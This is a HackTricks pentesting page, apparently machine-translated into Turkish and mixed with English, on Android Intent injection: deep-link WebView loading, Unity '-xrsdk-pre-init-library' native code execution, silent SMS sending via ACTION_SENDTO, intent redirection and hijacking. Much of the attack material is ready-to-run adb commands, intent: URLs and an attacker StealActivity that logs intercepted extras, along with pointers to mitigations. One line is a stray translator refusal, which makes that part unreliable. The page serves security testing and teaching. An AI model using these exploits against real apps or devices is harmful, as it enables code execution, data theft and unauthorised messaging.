Intent Injection

Reading time: 16 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Intent injection, saldırgan tarafından kontrol edilen Intents veya daha sonra Intents'e dönüştürülen verileri kabul eden bileşenleri kötüye kullanır. Android app pentests sırasında çok yaygın iki desen şunlardır:

  • Crafted extras'ları exported Activities/Services/BroadcastReceivers'e gönderip, daha sonra privileged, non-exported bileşenlere iletilmelerini sağlamak.
  • Exported VIEW/BROWSABLE deep link'leri tetikleyerek saldırgan tarafından kontrol edilen URLs'leri internal WebViews veya diğer sensitive sinks'e iletmek.

If an app exposes a custom scheme deep link such as:

text
myscheme://com.example.app/web?url=<attacker_url>

ve alıcı Activity url sorgu parametresini bir WebView'e iletirseniz, uygulamanın kendi WebView bağlamında rastgele uzak içeriği görüntülemesini zorlayabilirsiniz.

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS, uygulamanın WebView profili içinde çalışır.
  • JavaScript etkinse (varsayılan olarak veya yanlış sıralanmış kontroller nedeniyle), ortaya çıkan herhangi bir @JavascriptInterface nesnesini listeleyebilir/kullanabilir, WebView cookies/local storage'ı çalabilir ve pivot yapabilirsiniz.

See also:

Webview Attacks

Kontrollerin sıralanma hatasıyla JavaScript'in etkinleştirilmesi

Tekrarlayan bir hata, son URL allowlist/verification tamamlanmadan önce JavaScript'in (veya diğer izin verici WebView ayarlarının) etkinleştirilmesidir. Eğer erken yardımcılar deep link'inizi kabul eder ve WebView önce yapılandırılırsa, son yüklemeniz daha sonraki kontroller kusurlu veya çok geç olsa bile JavaScript zaten etkin haldeyken gerçekleşir.

Decompiled kodda aranacaklar:

  • URL'i farklı şekilde parse/split/rebuild eden birden fazla yardımcı (tutarsız normalizasyon).
  • Son host/path allowlist kontrolünden önce getSettings().setJavaScriptEnabled(true) çağrıları.
  • Aşağıdaki gibi bir pipeline: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Unity tabanlı Android uygulamaları tipik olarak giriş Activity'si olarak com.unity3d.player.UnityPlayerActivity (veya UnityPlayerGameActivity) kullanır. Unity’nin Android şablonu, unity adlı özel bir Intent extra'sını Unity runtime için komut satırı bayrakları dizisi olarak ele alır. Giriş Activity'si exported ise (birçok şablonda varsayılan), herhangi bir yerel uygulama — ve bazen BROWSABLE varsa bir web sitesi — bu extra'yı sağlayabilir.

Tehlikeli, belgelenmemiş bir flag, süreç başlatılmasının çok erken aşamasında native kod yürütülmesine yol açar:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Etki: dlopen(<absolute-path>, RTLD_NOW) init'in çok erken aşamasında çağrılır; hedef uygulamanın sürecine saldırgan tarafından kontrol edilen ELF'i kendi UID ve izinleriyle yükler.

Reverse-engineering excerpt (simplified):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Why it works

  • The Intent extra unity is parsed into Unity runtime flags.
  • Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).

Conditions for exploitation

  • The Unity entry Activity is exported (commonly true by default).
  • For one-click remote via browser: the entry Activity also declares android.intent.category.BROWSABLE so extras can be passed from an intent: URL.

Local exploitation (same device)

  1. Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under /data/app/.../lib/<abi>/ by setting in the attacker’s manifest:
xml
<application android:extractNativeLibs="true" ...>
  1. unity extra içindeki CLI pre-init flag ile hedefin Unity activity'sini başlatın. Örnek ADB PoC:
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); payload'unuz mağdur işlemi içinde çalışır, tüm uygulama izinlerini (camera/mic/network/storage vb.) ve uygulama içi oturumlar/verilere erişimi devralır.

Notlar

  • Tam /data/app/... yolu cihazlar/kurulumlar arasında değişir. Bir saldırgan uygulaması çalışma zamanında kendi native lib dizinini getApplicationInfo().nativeLibraryDir ile alıp tetikleyiciye iletebilir.
  • Dosyanın .so ile bitmesi gerekmez, geçerli bir ELF ise yeterlidir — dlopen() uzantılarla değil ELF başlıklarıyla ilgilenir.

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Ancak modern Android'de dynamic linker namespaces ve SELinux, birçok genel yoldan (ör. /sdcard/Download) yüklemeyi engeller. Aşağıdaki gibi hatalar görürsünüz:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass stratejisi: saldırgan-kontrollü baytları uygulamanın özel depolamasında (ör., HTTP önbellekleri) önbelleğe alan uygulamaları hedefleyin. İzin verilen yollar /data ve uygulamanın özel dizinini içerdiği için, -xrsdk-pre-init-library'yi uygulamanın önbelleği içindeki mutlak bir yola işaret etmek linker kısıtlarını karşılayabilir ve kod yürütmeye yol açabilir. Bu, diğer Android uygulamalarında gözlemlenen önceki cache-to-ELF RCE desenlerini yansıtır.

Confused‑Deputy: ACTION_SENDTO ile Sessiz SMS/MMS (Wear OS Google Messages)

Bazı varsayılan mesajlaşma uygulamaları, implicit messaging intent'lerini yanlışlıkla otomatik olarak çalıştırır ve bunları confused‑deputy primitive'ine dönüştürür: herhangi bir ayrıcalıksız uygulama, Intent.ACTION_SENDTO'yu sms:, smsto:, mms:, veya mmsto: ile tetikleyebilir ve onay UI'sı olmadan ve SEND_SMS izni olmadan anında gönderim gerçekleştirebilir.

Ana noktalar

  • Trigger: implicit ACTION_SENDTO + mesajlaşma URI şeması.
  • Data: alıcıyı URI'de ayarlayın, mesaj metnini "sms_body" extra'sında belirtin.
  • Permissions: yok (hiçbir SEND_SMS), varsayılan SMS/MMS işleyicisine dayanır.
  • Observed: Google Messages for Wear OS (Mayıs 2025'te yamalandı). Diğer işleyiciler benzer şekilde değerlendirilmelidir.

Minimal payload (Kotlin)

kotlin
val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (özel izin gerektirmez)

bash
# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Saldırı yüzeyi genişlemesi (Wear OS)

  • Aktiviteleri başlatabilen herhangi bir bileşen aynı payload'ı tetikleyebilir: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Eğer varsayılan handler otomatik gönderiyorsa, suistimal OEM politikalarına bağlı olarak tek dokunuşla ya da arka plan bağlamlarından tamamen sessiz olabilir.

Pentest checklist

  • Hedefte ACTION_SENDTO'yu çözümleyip varsayılan handler'ı belirleyin; bir compose UI gösterip göstermediğini veya sessizce gönderip göndermediğini doğrulayın.
  • Davranış farklılıklarını kontrol etmek için dört şemayı (sms:, smsto:, mms:, mmsto:) ve extras'ları (sms_body, istenirse MMS için subject) test edin.
  • Gerçek cihazlarda test yaparken ücretli hedefleri/premium‑rate numaraları dikkate alın.

Other classic Intent injection primitives

  • startActivity/sendBroadcast: daha sonra yeniden ayrıştırılan (Intent.parseUri(...)) ve yürütülen attacker-supplied Intent extras'larını kullanımı.
  • İzin kontrolleri olmadan Intents'i non-exported hassas bileşenlere ileten exported proxy components.

Automating exported-component testing (Smali-driven ADB generation)

Exported bileşenler belirli extras beklıyorsa, payload yapısını tahmin etmeye çalışmak zaman kaybına ve false negatives'e neden olur. Anahtarları/türleri doğrudan Smali'den keşfetmeyi otomatikleştirip çalıştırmaya hazır adb komutları üretebilirsiniz.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali'yi decompile edip getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() gibi çağrıları tarayarak her bileşenin hangi extras ve alanları tükettiğini çıkarın.
  • Output: Her exported Activity/Service/Receiver/Provider için araç kısa bir açıklama ve doğru tipte bayraklarla tam adb shell am .../cmd content ... komutunu yazdırır.

Kurulum

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Kullanım

bash
python apk-components-inspector.py target.apk

Çevirmemi istediğiniz src/mobile-pentesting/android-app-pentesting/intent-injection.md dosyasının içeriklerini gönderin. İçerik olmadan çeviri yapamam.

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras kısa referansı (tür bilgisine göre bayraklar)

  • Metinler: --es key value | Metin dizisi: --esa key v1,v2
  • Tam sayılar: --ei key 123 | Tam sayı dizisi: --eia key 1,2,3
  • Boolean'lar: --ez key true|false
  • Long'lar: --el key 1234567890
  • Float'lar: --ef key 1.23
  • URI'ler (extra): --eu key content://... | Veri URI'si (Intent data): -d content://...
  • Bileşen extra: --ecn key com.pkg/.Cls
  • Null metin extra: --esn key
  • Yaygın bayraklar: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Provider'lar için ipuçları

  • ContentProviders'a agent olmadan erişmek için adb shell cmd content query|insert|update|delete ... kullanın.
  • SQLi denemeleri için, altyapı provider SQLite destekliyse --projection ve --where (diğer adıyla selection) değerlerini değiştirin.

Tam-pipeline otomasyonu (etkileşimli yürütücü)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
adb komutlarını ayrıştırıp çalıştırmak için yardımcı script
python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

Cihaz üzerinde çalıştırın: inspector Python tabanlıdır ve apktool/androguard'un bulunduğu Termux veya rootlu telefonlarda çalışır.


Intent Redirection (CWE-926) – bulma ve istismar etme

Pattern

  • Bir dışa açılmış giriş noktası (Activity/Service/Receiver), gelen bir Intent'i okur ve kaynak/veriyi doğrulamadan dahili veya harici olarak iletir, ör.:
  • startActivity(getIntent())
  • startActivity(intent) burada intent, redirect_intent/next_intent/pending_intent gibi bir extra'dan veya Intent.parseUri(...)'den geliyorsa.
  • action/data/component alanlarına kontrol olmadan güvenmek; çağıran kimliğini doğrulamamak.

Smali/Java'da ne aranmalı

  • getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...) kullanımları.
  • Saldırgan tarafından kontrol edilen Intent'ler üzerinde doğrudan startActivity(...), startService(...), sendBroadcast(...) çağrıları.
  • getCallingPackage()/getCallingActivity() kontrollerinin veya özel izin kapılarının eksikliği.

ADB PoC templates

  • Proxy Activity'nin ayrıcalıklı bir dahili Activity'ye ekstra bir Intent iletmesi:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • redirect_intent parcelable'ını dikkate alan dışa açılmış Service:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver doğrulama yapmadan ileten:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask tarzı davranış için faydalı Flags

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Gerçek dünya örnekleri (etki değişir):

  • CVE-2024-26131 (Element Android): exported flows leading to WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → system-level effects.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): redirection → arbitrary file access (w/ user interaction).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Tehdit modeli

  • App A, implicit Intent kullanarak App B'den hassas bir sonuç bekler (örn. bir OAuth redirect, bir document picker sonucu, bir IMAGE_CAPTURE return, veya özel bir callback action).
  • Saldırgan App C, aynı action/category/data için eşleşen bir <intent-filter> ile exported bir component yayınlar. B implicit Intent'i çözdüğünde, resolver bir chooser sunabilir; eğer kullanıcı C'yi seçerse (veya varsayılan yaparsa), payload A yerine saldırgan bileşene teslim edilir.

Minimal PoC manifest (saldırgan):

xml
<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Handler iskeleti:

java
public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notlar

  • Eşleşme özgüllüğü önemlidir (action + categories + data). C’nin filtresi B’nin giden Intent’ine ne kadar spesifikse, gösterilme veya otomatik seçilme olasılığı o kadar yüksektir.
  • Bu, uygulamaların bir URL’i başka bir uygulamanın işlemesini ve bir şey geri döndürmesini beklediği durumlarda deep links (VIEW + BROWSABLE) için de geçerlidir.

Pentest rehberi

  • Hedefte explicit olmayan Intent’ler kullanan startActivity/startActivityForResult/registerForActivityResult çağrılarını grep’leyin.
  • extras, clipData veya getData() içinde token taşıyan Intent’leri inceleyin ve üçüncü bir tarafın uyumlu bir filtre kaydedip kaydedemeyeceğini kontrol edin.
  • Implicit akışları explicit Intent’lerle değiştirilmelerini önerin (set setPackage()/setComponent()), veya exported receivers/services üzerinde caller-permission/signed permissions gerektirin.

Mitigations

  • Hassas akışlar (callbacks, tokens, auth results) için explicit Intent’leri tercih edin.
  • Cross-app gerektiğinde, alıcı bileşene izin gereksinimleri ekleyin ve arayanın kimliğini doğrulayın.
  • Intent filtrelerini yalnızca kesinlikle gerekli olanlarla sınırlayın ve sıkılaştırın (scheme/host/path/MIME).

Çözümleyici kararlarını gözlemleme (FLAG_DEBUG_LOG_RESOLUTION)

Gönderen üzerinde kontrolünüz varsa, implicit bir Intent’e Intent.FLAG_DEBUG_LOG_RESOLUTION ekleyerek Android’in çözümlemenin nasıl gerçekleştiğini ve hangi bileşenin seçileceğini loglamasını sağlayın.

Örnek:

java
Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

adb logcat'te göreceğiniz şey çözümleme izi ve son bileşendir, örneğin com.android.camera2/com.android.camera.CaptureActivity.

CLI tip

bash
# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Bu, bir cihaz/emülatörde aday handler'ları (işleyicileri) listelemek ve test sırasında tam olarak hangi bileşenin bir Intent alacağını doğrulamak için faydalıdır.


Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin